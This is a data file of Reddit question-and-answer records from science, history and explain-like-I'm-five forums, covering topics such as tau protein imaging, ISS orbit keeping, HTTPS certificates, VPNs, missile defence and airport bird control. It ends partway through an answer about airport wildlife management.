{"q_id": "1rhpcf", "title": "Ways to Image/Detect Tau Proteins in Neural Cell Cultures", "selftext": "Hi! For a section of a multi-component research project at my university, I want to test the effects of dopamine quinone on neural cells in culture. The oxidation effects of quinone are known to promote tau polymerization and thus lead to neurodegeneration. How would I image/detect this process or the tau proteins themselves? Thanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1rhpcf/ways_to_imagedetect_tau_proteins_in_neural_cell/", "answers": {"a_id": ["cdndsqq", "cdndz0p", "cdnfwee"], "score": [4, 7, 2], "text": ["You could try using a florescent antibody specific to tau protein, and then image. This will give you a good qualitative look at the levels of tau proteins but if you want a quantitative analysis you'll need to do some image processing (imageJ is pretty good for that). I'm not sure how you  would go about capturing the process of tau polymerization, but you could do a kinetic study to look at rates of formation.", "You can use immunohistochemistry/immunocytochemistry/flow cytometry like /u/baloo_the_bear says, but tau is present all the time, but you're looking for a specific pathological aggregation state of tau. It's not my specific area, but I believe that you're looking for the hyperphosphorylated tau state. You could ^32 P ATP to see if you can radiolabel your phosphoryl moieties on the protein, or see if you can find a phospho-tau specific antibody.\n\nIf you're satisfied with an ex cellular approach, and you can trigger tau polymerisation out of the cellular environment, then you can adsorb tau onto a silica membrane and use AFM to image the fibril formation over time. I've done this with amylin, and to my understanding tau and amyloidal aggregates are very similar.", "It really depends, every way of measuring has some level of artifact so you might want to use 2 or more. Radiolabeling normally has the least effect as osymandius points out. Immunochemistry depends on how good your antibodies are and they may effect the interaction, but this is the quickest and likely cheapest way to set up the experiment. You could also use GFP labeling. This would require making a construct and expressing it. It would take more work, and you would have to validate that this doesn't mess up the proteins of interest, but it would allow you to address the aggregation in much more natural contexts and due to the interaction of the chromophores via FRET/polarization you would likely be able to better quantify multimerization. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "9clntu", "title": "Does the ISS need to constantly make micro course corrections to compensate for the crew's activity in cabin to stay in orbit?", "selftext": "I know the crew can't make the ISS plummet to earth by bouncing around, but do they affect its trajectory enough with their day to day business that the station has to account for their movements?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9clntu/does_the_iss_need_to_constantly_make_micro_course/", "answers": {"a_id": ["e5bmd5q", "e5bmfx9", "e5c5pzx", "e5c9dtb", "e5cbowf", "e5ci8w3", "e5ckdrp", "e5ckole", "e5cpt51", "e5cxw5y", "e5d5m9m"], "score": [465, 2768, 22, 292, 24, 5, 3, 2, 3, 3, 5], "text": ["Momentum is conserved in a closed system. People in the ISS can't permanently change its trajectory by moving around. They push off one wall, sending it in the opposite direction but then they must necessarily then hit the other wall, undoing what they did. The center of mass momentum of the station+occupants is fixed.", "1. Nothing they do can affect total torque or momentum of the station.\n2. They theoretically could change internal torque distribution (eg. by running in circles) and thus cause the station to start spinning, which could increase drag, and cause some orbital changes. In fact this happens with treadmills there!\n3. ISS has CMGs - gyros which can control the torque, so they can counteract spinning and stabilize he station.", "if you ignore air resistance then there is nothing the crew inside can do to alter the orbit.(if they dont throw anything out of the station that is)\n\nbut if you include it im pretty sure they could alter it in a tiny way by moving upwards, having the station move downwards thus having it experience more drag since the air is denser there. but this effect should be miniscule because of the mass ratio and the tiny increase in air densitiy.\n\nbut just to show that a change is possible in principle:\n\nimagine that the orbit of the station is perfectly circular and the lowest point of the station is at X meters and that we have a pole at some point in the orbit that is (X m - 1mm) high. which means that is just barely doesnt get hit by the station. if a person in the station pushes himself upwards, the station moves downwards as to conserve momentum causing it to hit the pole and crash. ", "I think you already have the answer you need.  But for interest's sake, the ISS **does** have to periodically compensate for the drag that the thin atmosphere exerts on it - which is a very real and non-negligible occurrence.\n\n[Here's a good NASA video explaining and demonstrating a \"reboost\" event.](_URL_0_)", "They can alter its trajectory for at most a second or two, because once they stop moving their momentum is transferred back to the station (either directly by their own impact or indirectly by air movement). It's effectively a closed system, so momentum is conserved.\n\nEven during that brief moment, the effect is tiny. The ISS's mass is around 420,000 kg; an astronaut probably weighs no more than 60 or 70 kg tops (less, I'd guess, since muscle atrophies in space and is a significant contributor to weight). Since they're moving no more than a meter per second, they're only changing the station's velocity by something like 0.0015 m/s, which is a tiny amount relative to its ~7,670 m/s orbital velocity.\n\nSo while I've never seen any official point addressing this, I'm almost certain the answer is \"no\", because you're changing its velocity by at most one part in ~50 million for only a second or two per motion. Even in spaceflight, you don't generally get precision on those levels: for scale, one part in 50 million compared to the ISS' *altitude* is a difference of...eight meters.", "No, their movements don't make any significant difference.\n\nIf an astronaut starts at the back of the station, and push off as hard as they can, they will be going slightly faster than both the station, and its original velocity. The station will slow down very slightly. The astronaut will then float to the front of the ship, and when they hit the wall, the momentum they took from the ship to go forward will be returned, and the ship will return to its initial velocity.\n\nYes, they change the trajectory very slightly, but the momentum of the system, of the station and crew combined, stays the same.\n\nIt makes insignificant differences in the amount of drag the station experiences, there is just a tiny bit of air at that altitude, so going slightly faster increases drag, while going slightly slower decreases it, but it isn't really enough to matter.\n\nFurther, the space station doesn't have a specific precise orbit it needs to keep. It needs enough inclination to make getting to it from non-equatorial launch sites easy. if it went around at the equator instead of going on an angle, every launch from Cape Canaveral or from the Baikonur cosmodrome would have to spend a lot more fuel to adjust course onto an equatorial orbit to rendezvous. It also needs to maintain a certain speed to stay out of the thickest parts of the atmosphere, but if moves around a little, it isn't a big deal. In fact, it does get slowed by drag enough that it occasionally needs to fire its engines to regain speed.", "The ISS does in fact make frequent course corrections. This is actually one of the many applications of ion engines. This is not, however, due to crew activity. But rather because of contact with matter slowing it down. Gas \"splashing\" pretty far isn't impossible, and is a big contributor to this. ", "The ISS does make course corrections, but that\u2019s not why. The crew\u2019s activity doesn\u2019t change anything about the ISS\u2019s trajectory. Treadmills start it spinning, but gyroscopes stop it. What it needs to periodically boost to stop is falling further into the atmosphere. The station isn\u2019t fully out of the exosphere, so it experiences just enough drag to be consequential. Every so often, it fires its thrusters and rises again.", "I'm going to try to give a quick tldr on the station. The primary cause of the degradation of the orbit is drag. Maybe some solar radiation pressure, but not likely very much. This is corrected with thruster burns usually made by visiting Progress vehicles. \n\n The crew can't influence the orbit, but they can change the attitude of the station with exercise and such. This is controlled by CMGs (control moment gyros), incredibly massive rotating discs. They rotate at a constant rate but motors can change their orientation. This changes the angular momentum which results in a torque. If they're trying to counter a strong enough torque, they will eventually reach a position where they can no longer counter it and become \"saturated.\" At that one, control will be handed over to the Russian thrusters to provide a thrust to counter the desaturation torques.", "The ISS is in low orbit because it is easier to send supplies and people to a lower orbit than a higher orbit.  In their low orbit there is a very very very thin amount of atomosphere, not enough to capture for use by the station, but just enough to create drag that reduces the speed. This small amount of drag they experience by being in low orbit effects them more than the activity within the station.  They have to make occasional burns to gain altitude/speed to keep the station in orbit already so whatever the effects on the station by the movements of the inhabitants inside the station has, it is also corrected with those burns. ", "Let me introduce you a little thing called Newton's Third Law, and the conservation of momentum.\n\nIt's pretty unintuitive, but the idea is that it isn't the space station itself that is in orbit, but the entire contents of the space station, including the astronauts inside it. No amount of internal rearrangement or activity could ever change the total linear or angular momentum of the space station and its contents. \n\nPush on the station? The station pushes right back. Total momentum conserved.\n\nPull on the station? The station pulls back.\n\nTo an outside observer, no action that anyone inside can do could ever change the momentum and trajectory of the space station system.\n\nThe only way the space station's effective velocity could ever change is if it ejected mass somehow.  That's how thrusters work."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.youtube.com/watch?v=sI8ldDyr3G0"], [], [], [], [], [], [], []]}
{"q_id": "33zhn9", "title": "if hair are dead cells then how does shampoos and/or conditioners 'repair' it?", "selftext": "Also, how does it straighten or add volume to hair? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/33zhn9/eli5_if_hair_are_dead_cells_then_how_does/", "answers": {"a_id": ["cqpu463", "cqpugjh", "cqpvy2w", "cqq7lbw"], "score": [13, 104, 7, 4], "text": ["Hair may not be alive but that doesn't mean it doesn't change.  \n\nHair is complicated. There are a lot of proteins and oils in hair. If there aren't oils in the hair then the proteins can crack when it bends.  It's the same thing with paper.  If it is dry then it will crease when you fold it.  If it is wet with water or oil then it won't crease as easily. \n\nConditioner adds some oil back to the hair.  That's the main thing that it does.  The conditioner companies claim that the conditioners do more stuff like smooth out the proteins or strengthen them. I am not sure if that is really true or if it is nothing more than adding the oil to them so they don't crack as easily.  ", "The short answer is that it doesn't.\n\nBasically any hair product claiming to repair usually just coats the hair shaft causing it to feel smoother and in some cases prevent further breakage.\n\nThe products intended for specific hair types usually just adjust the weight of their conditioner to whatever will be most beneficial to each particular hair type.\n\nSource: I am a beauty school drop out and we covered this stuff the first day.", "They don't at all. Just coats your hair in stuff that feels nice. 'Straightening' stuff coats it in stuff that slams the cuticle shut, 'volume' just fills in between the cuticles, if you continue using the product it'll make your hair feel better but obv if you stop using the product it'll just wash out.\nI studied this stuff and it was extremely educational yet disappointing to learn ;p", "Hair is covered in a waxy coating, this coating starts to break down with wear and tear and exposure. Shampoo and conditioner will apply a new wax coating and sometimes strip the natural coating first. It's also why hair straightening / curling works the heat softens the coating and shapes it before letting it set again by cooling off. It's also why hair \"melts\" when burned.\n\nJust think of a string covered in wax and hair makes more sense."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2h0may", "title": "why can i open reddit despite having the wrong date on my computer?", "selftext": "My Motherboard's CMOS battery is dead (i think) so the time on my PC changes quite often. If i have a wrong date (i.e 2001 December 23 11:46 pm) i cannot open sites like Youtube,Facebook or Yahoo, yet i can still open Reddit. Why?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2h0may/eli5why_can_i_open_reddit_despite_having_the/", "answers": {"a_id": ["cko8lr0"], "score": [28], "text": ["Websites get a certificate that proves that they are who they say they are.  Basically there's a trusted authority who gives a code to the rightful owner of a website.\n\nThis way if you try to go to YouTube and someone hijacks your signal then they can't pretend to be YouTube and steal your login info or send you erroneous data (this would be a bigger deal with, say, your bank webpage).\n\nWhen you go to the site you ask the site for its certificate.  It will send you back the information that shows that it's legit and your computer checks things out.  If the date on the certificate is too far in the past or is in the future then your computer freaks out and tells you there's something wrong; someone is trying to hijack your internet connection.\n\nAs for Reddit, it doesn't use this protection by default.  If you look at the full address for Reddit it's _URL_1_ as opposed to, say, _URL_0_.  Note that Reddit uses the prefix http, while YouTube uses https, as do most other major websites.  The \"s\" is what signifies that you will demand a certificate.  \n\nIf you're in Chrome then you will also notice that there's a little green padlock at the left side of the address bar for the other sites you mentioned, while Reddit does not have this.  On YouTube you can click that and look at the \"connection\" tab of the window that pops up then you will see \"The identity of this website has been verified by Google Internet Authority G2.\"\n\nIf you want to connect to Reddit using this same protection then you have a couple of options.  One option is to use the URL _URL_2_.  You can also read about the recent implementation of https in [this](_URL_3_) recent blog post.  However, in your case this will likely just cause Reddit to be added to the list of sites your computer won't let you visit. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com", "http://www.reddit.com", "https://pay.reddit.com", "http://www.redditblog.com/2014/09/hell-its-about-time-reddit-now-supports.html"]]}
{"q_id": "e9d8ss", "title": "What came first, centers of agriculture or centers of trade?", "selftext": "Is there any conclusive evidence about whether intercultural trade sparked the agricultural revolution, or if agricultural revolution came first and intercultural trade was a byproduct. (Pre-agricultural *\u2019centers\u2019* of trade might be a stretch I assume, but maybe common  migrant routes or something?)\n\nI\u2019m sure there was some interplay, but am hoping there is some evidence to show whether hunter gatherers independently discovered farming in various parts of the world, or if the idea was formed through intercultural exchange of goods and ideas and then spread out through migration and further exchanges.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/e9d8ss/what_came_first_centers_of_agriculture_or_centers/", "answers": {"a_id": ["fcpd7se"], "score": [2], "text": ["Agriculture would had come first. \n\nI say this because, inter-communal trade is limited by contact. Trade will exist between ethnically similar communities before inter-cultural exchanges happen. \n\nThat localized trade between communities is going to involve exchanging laborers, food, tools, and practically useless things like effigies that are used to secure alliances between tribes (so they're useful because of symbolism attached to them).\n\nAnd then, longer distance trading will occur when a trading class manages to have a relationship with both communities doing the trading."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5my3fw", "title": "What would your quality of life be like if you tore your ACL or MCL in the 18th Century?", "selftext": "Watching football yesterday, I realized some of the injuries we see today must have happened a few hundred years ago as well. But, what would your life be like if this type of now 'common' injury were to occur a few hundred years ago.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5my3fw/what_would_your_quality_of_life_be_like_if_you/", "answers": {"a_id": ["dc7fy6d", "dc7hlkf", "dc8c0io", "dc8fnz1"], "score": [443, 416, 2, 13], "text": ["As an addition to this because I've always been curious: how often would something like this happen in the middle of a battle? Would it be something a soldier would push through and continue fighting? What about during a long campaign?", "I'd like to step this back even further. Would it be possible to even diagnose a tear like this at this point in history, without the ability to image the muscle, and if a muscle tear couldn't be diagnosed what would have the patient be told happened to them?", "Doing just a bit of research I've come across \"A treatise on the operations of surgery\" by Samuel Sharp, written in 1740. Chapter 2 describes the partial or full tear of tendons. In the text the author disagrees with a popular method of treating tendons. He writes, \n\n\"To obviate this mischief, it has been hitherto an indisputable Maxim in Surgery, to cut the Tendon quite through, and immediately afterwards perform the Su ture; but I do not think this Practice ad vise- able, for though the division of the Tendon affords present ease, yet the Flexion only of the Joint will have the same effect, if it be a Wound of a Flexor Tendon;...\"\n\nCommon practice it would seem for partial tears would be to cut the tendon completely sew it together and immobilize the joint for the period of time necessary for the tendon to heal. Our boy Sam disagrees with this practice and argues that it would be better to simply immobilize the joint and let it heal. This method would not require sutchers, and the threat of the tendon slipping (and thus failing to heal).\n\nHe goes on to describe methods of sewing completely torn Tendons.\n\nHe describes symptoms of inflammatory localized pain that would indicate a tear of a tendon.\n\nBesides being extraordinarily painful if you were a laymen, obviously this would severely impact your ability to work. Time you would be out of work would be between 3 to 6 weeks. This is also talking specifically about tendons and not ligaments so the time to heal may be increased. \n\n\"During the Cure the Dressings must be superficial, and the parts kept steady with Paste-board and Bandage: The small Tendons re-unite in three weeks, but the 'tendo Achillis requires six at least.\"\n\n\n\nI hope this helps. It helps mold the picture of how injuries like this were operated on but does not do a very good job of explaining quality of life afterwards. If the tendon didnt heal use of that particular limb would be significantly reduced. The source also doesn't go into depth about the extent of immobilization. A wealthy land owner could probably manage his land from his bedside but a layman would fare much worse at least in a rural setting.\n\nLink to the source.\n\n_URL_0_", "Another question, what was the state of surgery like back then? Id imagine quite terrible. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://play.google.com/store/books/details?id=y9FEAAAAcAAJ&amp;rdid=book-y9FEAAAAcAAJ&amp;rdot=1&amp;pli=1"], []]}
{"q_id": "1wq8ir", "title": "What's the largest gathering of people ever of which there is historical record?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1wq8ir/whats_the_largest_gathering_of_people_ever_of/", "answers": {"a_id": ["cf4ipsd"], "score": [29], "text": ["* As far as I know, the 'gathering' of Arba'een (\"the 40th day\"), 40 days following the Day of Ashura holds the \"record\" (Se below about **Krumbh Mela**) for largest gathering of people, though it is estimated to be #2 overall.  It draws between 10 and 20 Million people, though estimates vary... Now the event and pilgrimage takes place over a span of weeks, with people arriving and departing over the duration, but I would consider the event a 'gathering' of sorts.\n\nThere have been a large number of bombings and shootings during Arba'een and they are always accompanied with accounts of the millions upon millions of people in attendance. \n\nSome examples:\n_URL_4_\n\n_URL_3_\n\nList of Dates:\n_URL_8_\n\n\n* The funeral of C. N. Annadurai, holds the Guinness world record for largest attendance at a single day event: ~10-15million\n_URL_11_\n\n_URL_7_\n\n* Funeral of Umm Kulthum, 2-4.5 Million\n\n* Ayatollah Khomeini Funeral 2-10 Million (estimates vary wildly):\n_URL_5_\n\n* Pope John Paul II Funeral 250,000 directly during mass, 3-4 Million total:\n_URL_6_\n\n\n* Just a year ago, Tahir square held an estimated 14 million during protests, albeit over the span of a couple of weeks:\n_URL_1_\n\n\n____________\n\n* And the big one: **Kumbh Mela** at the Ganges: ~18-30 Million in one day, with over 100 Million over its duration.\n\n_URL_0_\n\n_URL_10_ (50+ minutes)\n\n_URL_2_   (2 minutes)\n\nThis is where the world-famous pictures of people bathing in the disgusting parts of the Ganges river (sometimes next to corpses) typically come from.\n\nVery nice blog with some beautiful pictures (Though slow-loading): _URL_9_\n\n\nNext occurrence: \n2015 Kumbh Mela in Nashik (August 15 to September 13, 2015) \n\n____________\n\n\n\n* As a note, large gatherings are often poorly estimate by both the attendees and any political factions who could possibly gain anything by overstating attendance.\n\n* Others of note:\n\n* El Shaddai (Phillipines), Black Nazarene (Phillipines) both estimated between 4-8 Million\n \n* Rod Stewart at Copacabana Beach 1994 (2-3.5 Million)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Kumbh_Mela#2013_2", "http://www.newyorker.com/online/blogs/newsdesk/2013/07/tahrir-square-egypt-military-coup.html", "http://www.youtube.com/watch?v=WRrIQmBwb_s", "http://original.antiwar.com/updates/2012/01/14/iraq-arbaeen-attacks-leave-71-killed-145-wounded/", "http://www.presstv.ir/detail/2013/01/01/281304/muslims-heading-to-karbala-for-arbaeen/", "http://www.youtube.com/watch?v=2k7mpnPJWDo", "http://2.bp.blogspot.com/-xcZv1UwtdZc/TaY8RK1Ns_I/AAAAAAAACCU/SB1Fmqaujkk/s1600/arial.jpg", "http://www.listedium.com/wp-content/uploads/2013/01/1e6ce2ca988e1bd21accb1a98d7997b5-orig.jpg", "http://www.timeanddate.com/holidays/iran/arbaeen", "http://blogs.reuters.com/india/2013/02/19/photo-gallery-allahabad-maha-kumbh-mela-2013/", "http://www.youtube.com/watch?v=cQNoimABjMQ", "http://en.wikipedia.org/wiki/C._N._Annadurai#Death"]]}
{"q_id": "49ctqd", "title": "what does your network \"see\" when you use a vpn?", "selftext": "What do all ends see when you're on a VPN? Does your network not see what sites you go to anymore? Is the VPN the only agent in the process that sees your sites? ... basically who sees what?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/49ctqd/eli5_what_does_your_network_see_when_you_use_a_vpn/", "answers": {"a_id": ["d0qr8zm", "d0qrb3r", "d0qrfol"], "score": [2, 4, 14], "text": ["All data between the VPN client and server is first encrypted, then encapsulated. So, the nodes the data (\"packet\") passes by can only see the origin, destination and a bit of other metadata. The actual data within the packet can't be read by these nodes, as it is encrypted.\n\nOnce the data reaches the VPN server, the encapsulation is discarded and the package inside decrypted, turning it into a packet of itself - with its own destination and metadata. This set loose on the network. When a response comes, the VPN server accepts it, encrypts the packet and encapsulates it in a new packet, which is sent to the client. \n\nTo and fro, any nodes between the VPN and the server can't see beyond the header of the VPN packet, which show little more than the VPN-server and -client's IP-addresses. The data itself is encrypted (usually AES) and therefore pretty much impervious to eavesdropping.", "Ok...\n\nTheres the internet, which is a network of millions of computers. Within the internet there are private networks, like the ones you use at work or at home. Normally these are in accessible. If i was at Office A) and you were at Office B) theres no way these two networks can talk to each other unless you purposely expose bits of your network to the internet, like web servers etc.\n\nSometimes you want to share things like e-mail servers, printers and even access file shares on PCs within these private networks. In order to do this securely we can establish a Virtual Private Network connection between Offices A and B. Now they are connected together securely using the internet but they appear to each other as a single network, meaning they can share resources.\n\nThis connection is private and no one on the internet can see it or use it unless they know how to connect to it.\n\nSometimes a VPN can be used to circumvent local security and or access policies. For example, if torrent sites are blocked in your country, you can VPN to a public VPN service in another country. Because your PC is now using that VPN as a gateway to the internet, for all intents and purposes you are now in Korea or where ever the VPN terminates. When you access the internet now, you are using that countries internet services and therefore a part of their access policy. If torrent sites arent blocked there, you can access them because your PC (in terms of IP address) is now in a different country.\n\nThis can be risky though, if you are on a public VPN, if you don't set up your PC securely, if you have publicly shared folders, anyone using the same VPN as you could access them. It's treated as a LAN by default. When you connect to a VPN you are normally asked by windows what kind of network it is, Public, Private etc. It's best to tick Public as that will add firewall policies to your PC.", "OK. So, there's your computer (node #1), the VPN server (node #2) and whatever web server you're trying to connect on the other side of the VPN (node #3). Think about the three nodes having a conversation but anything nodes 1 and 3 say are said to node 2. So if you are connected to the VPN and want to see _URL_0_ that request goes through the VPN and out to Google. Google sees a request from the VPN server and sends a response back with the _URL_0_ page. The VPN server knows that node 1 requested that and routes the response to node 1. \n\nSo, given that, the answer to your question is yes, the VPN server sees all and knows all. But I think you're asking about the other nodes on your LAN that aren't connected to your VPN. Simply put, no, they cannot hear your conversation with the VPN. Traffic between you and the VPN is encrypted. That's one of the benefits of a VPN. \n\nThe real answer I'm sure you're going for is that when you're connected to a VPN your work or school cannot see what web pages you're looking at. All they see is the VPN connection. They may see this as suspicious so have a legitimate reason for needing the VPN connection. \n\nEnjoy your porn. :-)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["Google.com"]]}
{"q_id": "1u17nw", "title": "what is the de-icing liquid they spray on the highway and is it more effective the salting and sanding?", "selftext": "Whenever we're going to have a winter storm, instead of salting and sanding, they are now pre-treating the highway with a de-icing spray. What is it? Is it more effective then salt and sand? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1u17nw/eli5_what_is_the_deicing_liquid_they_spray_on_the/", "answers": {"a_id": ["cedi6cy", "cediqne", "cedkf4l"], "score": [2, 2, 2], "text": ["Beet Juice! \n\n_URL_0_", "A lot of times it is some sort of salt brine.  Sodium chloride (table salt) or calcium chloride mixed with water.  Or sometimes they use cheese - _URL_0_", "The spray on stuff is usually a way of pre-treating a road prior to an expected storm Sanding/salting is accomplished after snow removal. Spray solution is very bad for automobiles, especially brake lines and body panels. Source: I live in Maine."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.cas.org/news/insights/science-connections/beet-molassis"], ["http://www.nytimes.com/2013/12/24/us/wisconsin-finds-another-role-for-cheese-de-icing-roads.html"], []]}
{"q_id": "2ve228", "title": "if a country such as north korea were to launch a nuke at south korea, japan, or the us, is there anyway for it to be stopped before detonation?", "selftext": "I would think that there could be missiles sent to intercept the nuclear warhead if it were launched at the United States or Japan, similarly for South Korea, although since it is in much closer proximity, shooting down might not be possible?\n\n\nELI5!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ve228/eli5_if_a_country_such_as_north_korea_were_to/", "answers": {"a_id": ["cogt5sv", "cogt8og", "cogu3hn", "coguzyk", "cogvnv8"], "score": [3, 3, 13, 7, 27], "text": ["Yup, basically the country detects it and sends it's own missles out to blow it up in air... Isreal's doing it as we speak in the isreal/gaza conflict: _URL_0_", "The thing stopping nuclear warfare has traditionally been the exceedingly high likelihood that the other side would completely annihilate the aggressor.  \n\nDepending on the type of missile used, it's possible a missile defense like Iron Dome would counter it, though I don't believe it works against ICBMs.  It's also not to anyone's knowledge deployed in those nations at this time.  ", "North Korea could basically lob a nuke at Seoul using a trebuchet so no, there's no practical way of intercepting that. Japan would be tough as well because the flight time is so short. If they launched against the US we'd have fair notice and a chance of downing it.", "Navel vessels armed with Aegis Ballistic missile defense and the RIM-161 can take out short range and intermediate ballistic missiles. A true ICBM though right now nope. Same with nuclear bombs and artillery shells (though the Iron dome may help the artillery shells). ", "[Here is the American Ballistic Missile Defense system](_URL_0_)\n\nI'll explain some terminologies:\n\n > Boost phase segment\n\nThis is the phase when the nuke is ascending, the warhead and the rocket are together. If caught in this stage, the missile is fairly easy to intercept. Normal Air to Air missiles will do fine right up until the missile's flight ceiling.\n\nHowever, since these missiles are still ascending, they are most likely still in the host country and therefore few assets would be in range to attack them.\n\nThe Airborne Laser is shelved due to its limited range. The Kinetic Energy Interceptor was cancelled.\n\n > Midcourse Defense Segment\n\nThis phase is when the warhead has separated from the rocket after it has left earth's atmosphere. Only Medium range ballistic missiles and intercontinental ballistic missiles leave the earth's atmosphere, and only dedicated missile defense interceptors can intercept these.\n\nNow, the Medium range ballistic missile have a lower trajectory than the Intercontinental ones. The AEGIS system with the SM-3 can, up to now, only intercept up to the highest altitude of the Medium range ballistic missiles.\n\nThe Ground Based Midcourse Defense or GMD system is designed to intercept the Intercontinental ballistic missiles, and thus is both much larger and can fly much higher.\n\n > Terminal Defense Segment\n\nThis is sort of the last ditch attempt. You typically do not want to intercept the nuclear warheads when it is descending back into earth when given the chance not to. This is because they can still spread radioactive materials upon intercept. Plus, this IS the last line of defense.\n\nThe Terminal High Altitude Area Defense system, or THAAD is designed to cover a large area and intercept from far away.\n\nThe Patriot Advanced capability 3 or PAC-3 is designed primarily to intercept smaller ballistic missiles, much like the Israeli Iron Dome system. However, in a pinch, they will be used to be thrown at the incoming warheads. These have a much smaller range, but on the plus side, have numerous missiles per battery, giving you multiple tries to intercept one or numerous warheads."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.mirror.co.uk/news/world-news/incredible-video-footage-shows-israels-4116965"], [], [], [], ["http://media.defenceindustrydaily.com/images/ABM_MDA_Missile_Defense_Systems_Slide_lg.jpg"]]}
{"q_id": "euyuir", "title": "Who are the Druze and how did they come about? They seem to be quite distinct from other Muslims and Wikipedia has surprisingly little information on them.", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/euyuir/who_are_the_druze_and_how_did_they_come_about/", "answers": {"a_id": ["ffsdloc"], "score": [5], "text": ["I don\u2019t have my books in front of me to answer this question directly, but a previous response I\u2019ve posted on this sub might tide you over.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/6rxkdo/how_do_the_druze_explain_the_violence_of_caliph/dl8ri2o/?utm_source=share&amp;utm_medium=ios_app&amp;utm_name=iossmf"]]}
{"q_id": "jvt3n", "title": "Does food coloring have an effect on children/infant's behavior?  As a parent, I've heard this numerous times but not sure if it's an urban legend or based on science.", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/jvt3n/does_food_coloring_have_an_effect_on/", "answers": {"a_id": ["c2filoq", "c2filya", "c2fjbwq", "c2filoq", "c2filya", "c2fjbwq"], "score": [8, 5, 8, 8, 5, 8], "text": ["I'm not sure to what myth or legend you're referring to, but [Carmine](_URL_0_), which is a very common red food colouring, can cause severe allergic reactions in those who are allergic to it. \n\nPerhaps parents have taken that food colouring fact out of hand?", "[link](_URL_0_)\n\nit's apparently worthy of investigation.\n\nEDIT: or was, now that i've read that article. heh.  i don't see why you wouldn't generally avoid them, anyway.  they taste like something, so they're reacting chemically with your body, right? and they serve no real purpose.", "I had a dye allergy at birth. It caused the most intense high (described as similar to PCP by officers, and doctors), followed by a crash that left me in the fetal position for hours with sweats and the most horrible headache imaginable. Grew out of it around 13 though. It caused hell for my family and I. ", "I'm not sure to what myth or legend you're referring to, but [Carmine](_URL_0_), which is a very common red food colouring, can cause severe allergic reactions in those who are allergic to it. \n\nPerhaps parents have taken that food colouring fact out of hand?", "[link](_URL_0_)\n\nit's apparently worthy of investigation.\n\nEDIT: or was, now that i've read that article. heh.  i don't see why you wouldn't generally avoid them, anyway.  they taste like something, so they're reacting chemically with your body, right? and they serve no real purpose.", "I had a dye allergy at birth. It caused the most intense high (described as similar to PCP by officers, and doctors), followed by a crash that left me in the fetal position for hours with sweats and the most horrible headache imaginable. Grew out of it around 13 though. It caused hell for my family and I. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Carmine#Allergy"], ["http://www.npr.org/2011/03/30/134962888/fda-probes-link-between-food-dyes-kids-behavior"], [], ["http://en.wikipedia.org/wiki/Carmine#Allergy"], ["http://www.npr.org/2011/03/30/134962888/fda-probes-link-between-food-dyes-kids-behavior"], []]}
{"q_id": "b0bn5h", "title": "how are bird free areas like airports created and controlled?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b0bn5h/eli5_how_are_bird_free_areas_like_airports/", "answers": {"a_id": ["eidfwlp", "eidg8na", "eidicxx", "eidjqb0", "eidl6nt", "eidmzf4", "eidra7e", "eidtbp6", "eidtruq", "eidukzb", "eiduo5o", "eiduonq", "eidvf5o", "eidwabj", "eieb59x", "eiecpio", "eif4gxc", "eiffi0o", "eiftlqh"], "score": [144, 208, 265, 13879, 74, 2, 2, 5, 13, 11, 2, 2, 18, 2, 3, 4, 2, 2, 2], "text": ["Airports are not bird free.\n\nSome airports, usually with goose problems, employ dogs and other bird counter-measures to reduce their appeal to migrating birds.", "A variety of different methods are employed at different airports. Some airports actually used trained falcons to keep other birds away form runways. Others use drones or sirens to scare them away. Some try to use preventative measures by clearing plants around the airport that birds would use shelter.", "I was researching invasive bird populations at a Hawaiian island, which overlapped with the area around an airport. It is definitely NOT naturally bird free and is actively managed as much as possible. It is federal land so a federal employee (usually fish  &  wildlife) hangs out and manages the entire facility ( read manage = shoot). Everything is certified and deemed humane, and let me tell you, that guy was a damn good hunter so no creature suffered. He also was responsible for IDing the birds before so as to not kill any threatened or endangered ones. We actually used a lot of his catches for research, so nothing went to waste. ", "Ooh! Ooh! I actually do this as part of my job!\n\nMost airports have a Wildlife Management Program which identifies what sort of wildlife is in the vicinity throughout the year.\n\nAirports are very attractive places for a great number of animals because they offer food, shelter, water and there are few to no natural predators. So you have to manage the animals that naturally exist (like turtles, raccoons, skunks, foxes, hawks, frogs, etc.) and then make the airfield an unattractive place for migratory birds and larger birds that want to nest like geese and ducks.\n\nOur primary way of nudging unwanted birds away is with scare cartridges fired from modified starter pistols. They go off like small fireworks and make a lot of noise, and we fire off several to get the birds in the air and away form the traffic areas.\n\nWe also deal with the occasional deer or coyote, and in that case we have to 